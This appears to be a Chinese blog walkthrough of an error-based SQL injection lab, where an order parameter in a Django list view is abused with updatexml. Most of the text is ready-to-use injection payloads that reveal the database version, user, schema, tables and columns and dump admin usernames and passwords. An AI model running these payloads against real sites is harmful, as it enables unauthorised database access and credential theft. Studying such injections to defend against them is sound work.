首先转到列表视图:http://your-ip:8000/vuln/

添加?order=-id到 GET 参数。看到按 id 降序排列的数据。

看到按 id 降序排列的数据。
因此根据这个信息我们可以构造报错注入来进行攻击获取数据信息。
?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23,其中vuln是我们的应用程序和collection模型。

获取用户

updatexml报错注入原理:`concat()`函数是将其连成一个字符串,因此不会符合`XPath_string`的格式,因此会造成格式错误
`0x7e` ASCII码,实为`~`,updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符
、
爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
本文详细介绍了如何通过SQL注入漏洞利用updatexml函数进行降序排序,进而揭示数据库版本、用户、数据库名称、库表信息、字段及内容。这些步骤展示了攻击者如何获取敏感数据,提醒开发者关注SQL安全防护。

被折叠的 条评论
为什么被折叠?



